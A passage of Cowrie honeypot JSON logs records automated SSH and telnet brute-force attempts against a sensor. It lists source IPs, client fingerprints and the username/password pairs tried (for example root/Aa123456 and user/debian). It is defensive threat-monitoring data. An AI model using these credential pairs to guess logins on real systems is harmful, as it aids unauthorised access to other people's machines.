compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:35:51.406081Z","src_ip":"213.21.248.43","session":"8ad2bdda46be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789@Ab","message":"login attempt [root/123456789@Ab] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:35:51.739183Z","src_ip":"213.21.248.43","session":"8ad2bdda46be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.71","src_port":59794,"dst_ip":"159.203.135.109","dst_port":22,"session":"3fb523331957","protocol":"ssh","message":"New connection: 92.118.39.71:59794 (159.203.135.109:22) [session: 3fb523331957]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:35:52.256432Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:35:52.260827Z","src_ip":"92.118.39.71","session":"3fb523331957","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:35:52.395797Z","src_ip":"92.118.39.71","session":"3fb523331957","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:35:52.815906Z","src_ip":"213.21.248.43","session":"8ad2bdda46be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123","message":"login attempt [root/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:35:52.958674Z","src_ip":"92.118.39.71","session":"3fb523331957","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:35:54.110360Z","src_ip":"92.118.39.71","session":"3fb523331957","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.221.25.72","src_port":45296,"dst_ip":"159.203.135.109","dst_port":22,"session":"e15812ca377e","protocol":"ssh","message":"New connection: 154.221.25.72:45296 (159.203.135.109:22) [session: e15812ca377e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:36:04.957371Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:36:04.961344Z","src_ip":"154.221.25.72","session":"e15812ca377e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:36:05.172901Z","src_ip":"154.221.25.72","session":"e15812ca377e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"debian","message":"login attempt [user/debian] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:36:06.036711Z","src_ip":"154.221.25.72","session":"e15812ca377e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:36:07.251171Z","src_ip":"154.221.25.72","session":"e15812ca377e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.81212663650513,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:36:07.835841Z","src_ip":"222.97.112.179","session":"2e293cfe17e5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"222.97.112.179","src_port":59643,"dst_ip":"159.203.135.109","dst_port":23,"session":"e392dbd2e5be","protocol":"telnet","message":"New connection: 222.97.112.179:59643 (159.203.135.109:23) [session: e392dbd2e5be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:36:08.032483Z"}
{"eventid":"cowrie.login.failed","username":"b'\\xd9\\xcb\\xdb\\xcd\\xca'","password":"b'\\xd9\\xcb\\xdb\\xcd\\xca'","message":"login attempt [b'\\xd9\\xcb\\xdb\\xcd\\xca'/b'\\xd9\\xcb\\xdb\\xcd\\xca'] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:36:08.888740Z","src_ip":"222.97.112.179","session":"e392dbd2e5be","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"lghkel\t","password":"zpz}ld\t","message":"login attempt [lghkel\t/zpz}ld\t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:36:09.789991Z","src_ip":"222.97.112.179","session":"e392dbd2e5be","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"zalee\t","password":"za\t","message":"login attempt [zalee\t/za\t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:36:10.689008Z","src_ip":"222.97.112.179","session":"e392dbd2e5be","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"181.116.220.251","src_port":39518,"dst_ip":"159.203.135.109","dst_port":22,"session":"84681b1e5b33","protocol":"ssh","message":"New connection: 181.116.220.251:39518 (159.203.135.109:22) [session: 84681b1e5b33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:36:15.237111Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:36:15.241338Z","src_ip":"181.116.220.251","session":"84681b1e5b33","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:36:15.406847Z","src_ip":"181.116.220.251","session":"84681b1e5b33","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sap@123","message":"login attempt [root/sap@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:36:16.102201Z","src_ip":"181.116.220.251","session":"84681b1e5b33","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:36:17.270913Z","src_ip":"181.116.220.251","session":"84681b1e5b33","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.81429886817932,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:36:41.846640Z","src_ip":"222.97.112.179","session":"e392dbd2e5be","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"222.97.112.179","src_port":60285,"dst_ip":"159.203.135.109","dst_port":23,"session":"e2f30b77dd88","protocol":"telnet","message":"New connection: 222.97.112.179:60285 (159.203.135.109:23) [session: e2f30b77dd88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:36:42.047497Z"}
{"eventid":"cowrie.login.failed","username":"\"??$","password":"$1","message":"login attempt [\"??$/$1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:36:42.675790Z","src_ip":"222.97.112.179","session":"e2f30b77dd88","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"*\u0010bcdiehei","password":"lghkel\t","message":"login attempt [*\u0010bcdiehei/lghkel\t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:36:43.086526Z","src_ip":"222.97.112.179","session":"e2f30b77dd88","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"zpz}ld\t","password":"zalee\t","message":"login attempt [zpz}ld\t/zalee\t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:36:43.495807Z","src_ip":"222.97.112.179","session":"e2f30b77dd88","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"za\t","password":"&k`g&k|zpkfq)ES[M\t","message":"login attempt [za\t/&k`g&k|zpkfq)ES[M\t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:36:43.904449Z","src_ip":"222.97.112.179","session":"e2f30b77dd88","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":38412,"dst_ip":"159.203.135.109","dst_port":23,"session":"a05ef0ed518e","protocol":"telnet","message":"New connection: 170.64.224.25:38412 (159.203.135.109:23) [session: a05ef0ed518e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:36:58.947078Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.32.39.21","src_port":51476,"dst_ip":"159.203.135.109","dst_port":22,"session":"3c909244b581","protocol":"ssh","message":"New connection: 176.32.39.21:51476 (159.203.135.109:22) [session: 3c909244b581]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:37:08.761600Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:37:08.766288Z","src_ip":"176.32.39.21","session":"3c909244b581","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:37:08.882091Z","src_ip":"176.32.39.21","session":"3c909244b581","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"270380","message":"login attempt [root/270380] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:37:09.232891Z","src_ip":"176.32.39.21","session":"3c909244b581","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"71.6.167.142","src_port":60972,"dst_ip":"159.203.135.109","dst_port":23,"session":"00939084df2f","protocol":"telnet","message":"New connection: 71.6.167.142:60972 (159.203.135.109:23) [session: 00939084df2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:37:09.742058Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:37:10.350920Z","src_ip":"176.32.39.21","session":"3c909244b581","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":1.4239978790283203,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:37:11.165928Z","src_ip":"71.6.167.142","session":"00939084df2f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"71.6.167.142","src_port":33238,"dst_ip":"159.203.135.109","dst_port":23,"session":"8f8e94bb40ec","protocol":"telnet","message":"New connection: 71.6.167.142:33238 (159.203.135.109:23) [session: 8f8e94bb40ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:37:11.233280Z"}
{"eventid":"cowrie.session.closed","duration":0.060777902603149414,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:37:11.293943Z","src_ip":"71.6.167.142","session":"8f8e94bb40ec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"71.6.167.142","src_port":33452,"dst_ip":"159.203.135.109","dst_port":23,"session":"8f8b2dd912da","protocol":"telnet","message":"New connection: 71.6.167.142:33452 (159.203.135.109:23) [session: 8f8b2dd912da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:37:11.531475Z"}
{"eventid":"cowrie.session.closed","duration":0.01766347885131836,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:37:11.548835Z","src_ip":"71.6.167.142","session":"8f8b2dd912da","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"71.6.167.142","src_port":33722,"dst_ip":"159.203.135.109","dst_port":23,"session":"f7eb9f475179","protocol":"telnet","message":"New connection: 71.6.167.142:33722 (159.203.135.109:23) [session: f7eb9f475179]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:37:11.921476Z"}
{"eventid":"cowrie.session.closed","duration":0.004386186599731445,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:37:11.925726Z","src_ip":"71.6.167.142","session":"f7eb9f475179","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.79785513877869,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:37:14.845111Z","src_ip":"222.97.112.179","session":"e2f30b77dd88","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.55","src_port":48170,"dst_ip":"10.17.0.5","dst_port":22,"session":"f4b56feea203","protocol":"ssh","message":"New connection: 80.94.92.55:48170 (10.17.0.5:22) [session: f4b56feea203]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:37:16.160644Z"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:37:16.524913Z","src_ip":"80.94.92.55","session":"f4b56feea203","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.21.248.43","src_port":55000,"dst_ip":"159.203.135.109","dst_port":22,"session":"5e506936e4f4","protocol":"ssh","message":"New connection: 213.21.248.43:55000 (159.203.135.109:22) [session: 5e506936e4f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:37:32.192265Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:37:32.195789Z","src_ip":"213.21.248.43","session":"5e506936e4f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:37:32.269329Z","src_ip":"213.21.248.43","session":"5e506936e4f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456","message":"login attempt [root/Aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:37:32.600828Z","src_ip":"213.21.248.43","session":"5e506936e4f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:37:33.676871Z","src_ip":"213.21.248.43","session":"5e506936e4f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.221.25.72","src_port":51478,"dst_ip":"159.203.135.109","dst_port":22,"session":"86d3234fcbf6","protocol":"ssh","message":"New connection: 154.221.25.72:51478 (159.203.135.109:22) [session: 86d3234fcbf6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:37:42.125203Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:37:42.128726Z","src_ip":"154.221.25.72","session":"86d3234fcbf6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:37:42.332414Z","src_ip":"154.221.25.72","session":"86d3234fcbf6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.58.200","src_port":48734,"dst_ip":"159.203.135.109","dst_port":22,"session":"d9a829173d75","protocol":"ssh","message":"New connection: 159.65.58.200:48734 (159.203.135.109:22) [session: d9a829173d75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:37:42.903814Z"}
